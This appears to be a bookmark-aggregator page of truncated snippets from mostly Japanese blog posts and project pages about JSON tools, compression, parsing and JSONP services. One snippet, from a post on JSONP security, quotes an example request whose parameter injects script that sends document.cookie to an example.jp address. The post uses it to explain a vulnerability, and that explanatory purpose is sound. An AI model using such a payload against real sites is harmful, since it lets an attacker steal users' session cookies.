JSONデータ圧縮方式をSnappyからzstdに切り替えた事例紹介 | BLOG - DeNA Engineering
JSONデータ圧縮方式をzstdに切り替えデータ量を38.3%削減した事例、及びマイクロサービスの無停止アップデート事例について紹介したいと思います。 はじめに JPRゲーム事業本部開発基盤部の池田周平です。先日 Rails5対応についてDeNA techブログに投稿 した@namusyakaと同じチームで働いています。 JSON文字列をRDBに格納する際の圧縮フォーマットをSnappyからzstdに切り替え、データ量を削減した事例を紹介したいと思います。本対応を実施した目的はDB負荷対策です。DBで扱うデータをより小さくすることで、DBサーバのDiskI/O負荷とMaster-Slave間のレプリケーション遅延対策を目的としています。 「Sakasho」は、DeNAが持つモバイルゲームのためのプラットフォームです。複数タイトルのゲームを取り扱っており、一部データはゲーム毎の仕様差を吸収し
gRPC-JSON proxy - 世界線航跡蔵
grpc-gateway という gRPC からJSON APIへの変換プロキシ生成機を書いた。 これを使えばシステム内部ののmicroservicesはgRPCで通信しつつ公開APIはJSON APIで提供する、みたいなことが簡単になる。 なお、gRPCそのものについては mattnさんの記事 が参考になる。 背景 gRPCの良い点はいくつもある。 データはデフォルトでprotocol buffersで直列化される。ベストではないにせよ十分にコンパクト且つ高速だし、サイズで言えばJSONとは比べるべくもない。 簡単に複数の言語でサーバーのテンプレートやクライアントを生成できる。通信の詳細はgRPCにまかせて開発者はサーバーロジックの実装に注力できる。 design by Googleという安心感。 gRPCの素晴らしさは認めるものの、一方では欠点もある。まず、クライアントライブラリの多く
json.human.js - Json Formatting for Human Beings
json.human.js: Json Formatting for Human Beings Provide JSON and get a DOM node with a human representation of that JSON. Why? At Event Fabric we need to display JSON to people from all technical levels without being too technical but also without losing information about the underlying JSON object. How? you can see js/demo.js in the repo for an example, here is a short one var node = JsonHuman.fo
PHPのJSONのエスケープ
(Last Updated On: 2023年12月8日) 追記：最近のOWASPガイドの更新でJavaScript文字列はUnicodeエンコードで安全性を確保するよう変更されました。元々このブログでもUnicodeエスケープのまま利用するように書いています。他の言語のユーザーはUnicodeエスケープを利用しましょう。PHPもASCII領域の文字をUnicodeエスケープするようにした方が良いと思います。これは提案して実現するように努力します。 JSONはJavaScriptのオブジェクトや配列を表現する方式でRFC 4627で定義されています。メディアタイプはapplication/json、ファイル拡張子はjsonと定義されています。 PHPにJSON形式のデータに変換するjson_encode関数とjson_decode関数をサポートしています。 JSON関数がサポートされている
jqコマンドが実は高性能すぎてビビッた話
GWが始まりましたが、鎌倉のGWは観光客多すぎて逆に住民はげんなりして外に出なくなる感じです。とはいえ路地まで観光客が攻め込んでくることは少ないので、路地を散歩する分には天気がよくていい感じですね。ちなみに人力車のおにーさんはそういう味のある路地を知り尽くしているので人力車で移動するのはそこそこオススメです(ぼくは乗ったことないけど「こんなところも通るんだ!」ってところで見かけたりします)。 さて、jqというコマンドをご存じでしょうか。 jq jq is a lightweight and flexible command-line JSON processor. と書いてあるとおり、コマンドラインでJSONを扱うことができるコマンドです。で、今まさに仕事で巨大JSONと戦うことが多く、このコマンドが大活躍です。 とはいえ、ぼくの使い方としては「巨大JSONをキレイに整形して表示する」とい
Apache HiveにおけるJSON連想配列処理の最適化 - mixi engineer blog
あけましておめでとうございます． 平野啓一郎著「葬送」がようやく読み終わった技術部の石川有です．ショパンの死を題材とした内容が難解で重く，すべて読み終えるのに都合５ヶ月ぐらい掛かっていたのではないかと思います．本当にとても重い内容ですが，濃厚で至福な時間を過ごせました． さて「重い」と言えば，「大規模データ解析」という言葉が頭に思い浮かびますよね．以前の記事「mixi の解析基盤とApache Hive での JSON パーサの活用の紹介」の通り，ミクシィの解析基盤として Apache Hive を利用しています． また Apache Hive で"No More 「刺身の上にタンポポをのせる仕事」 - 単純作業の繰り返しで開発者の時間を浪費しないために。"を実現するための Hive の JSON パーサを活用しています． 新年最初のエントリーは，Apache Hive で JSON 連想
jq
jq is a lightweight and flexible command-line JSON processor. jq is like sed for JSON data - you can use it to slice and filter and map and transform structured data with the same ease that sed, awk, grep and friends let you play with text. jq is written in portable C, and it has zero runtime dependencies. You can download a single binary, scp it to a far away machine of the same type, and expect
New community features for Google Chat and an update on Currents
Join the official community for Google Workspace administrators In the Google Cloud Community, connect with Googlers and other Google Workspace admins like yourself. Participate in product discussions, check out the Community Articles, and learn tips and tricks that will make your work and life easier. Be the first to know what's happening with Google Workspace. ______________ Learn about more Goo
CloudKit - An Open Web JSON Appliance
This is an archive. CloudKit is not under active development. CloudKit provides schema-free, auto-versioned, RESTful JSON storage with optional OpenID and OAuth support, including OAuth Discovery. CloudKit is Rack middleware. It can be used on its own or alongside other Rack-based applications or middleware components such as Rails, Merb or Sinatra. The CloudKit stack provides an optional OAuth Fi
Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
blog.8-p.info: mixi デコリンクと JSON API
mixi Engineers’ Blog » デコリンク(URL展開)機能をリリースしました 開発者ブログなのにプレスリリースみたいなんだぜ。 実装は Jemplate を使っているようです。Ingy さんやね。 http://mixi.jp/static/js/decolink/decolink.js の do_decolink に id をわたすと、dl_rules にはいっている規則をもとに extract_decolink が JSON API で情報をとってきて Jemplate で展開して置き換えています。 JSON API は以下の3つ。mixi のクッキーを食べた状態でアクセスできることを確認しました。 http://mixi.jp/atom/music/track/r=1/ID http://mixi.jp/atom/music/artist/r=1/ID http://
snippets from shinichitomita’s journal - ブラウザからJSONで呼び出せるサービス一覧
ブラウザから動的スクリプトタグで呼び出せるJSONサービスの一覧。サービス利用にはHTMLとJavaScriptさえあればよいもののみ挙げている。JSONPであるとは限らない。オフィシャル／非オフィシャル問わず。知らないのがあったら誰か教えてください。 （追記）JSONP形式のサービスにはJSONPテストページへのリンクを追加しました del.icio.us ポスト一覧取得 http://del.icio.us/feeds/json/stomita (既定変数埋め込み) http://del.icio.us/feeds/json/stomita?callback=handlePosts (JSONP) →テスト タグ一覧取得 http://del.icio.us/feeds/json/tags/stomita (既定変数埋め込み) http://del.icio.us/feeds/json
Oliver Steele Blog Archive JSON for OpenLaszlo
JSON for OpenLaszlo is a JSON library for OpenLaszlo. I wrote this in order to implement my regular expression visualizer. There’s a live example below. Clicking on a button requests some JSON text from the server and parses it on the client. The source code to the example is here. (When it runs off my web site, the debugger in the example displays a warning about not being able to connect to the
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
GitHub - flatiron/revalidator: A cross-browser / node.js validator powered by JSON Schema
GitHub - jimhigson/oboe.js: A streaming approach to JSON. Oboe.js speeds up web applications by providing parsed objects before the response completes.
GitHub - Baggz/Amanda: JSON Schema validator
GitHub - garycourt/JSV: A JavaScript implementation of an extendable, fully compliant JSON Schema validator.
http://solutoire.com/2007/03/13/securing-your-json/
POE-Component-Server-JSONRPC-0.06 - POE tcp or http based JSON-RPC server - metacpan.org
JSONRPC-Transport-TCP-0.04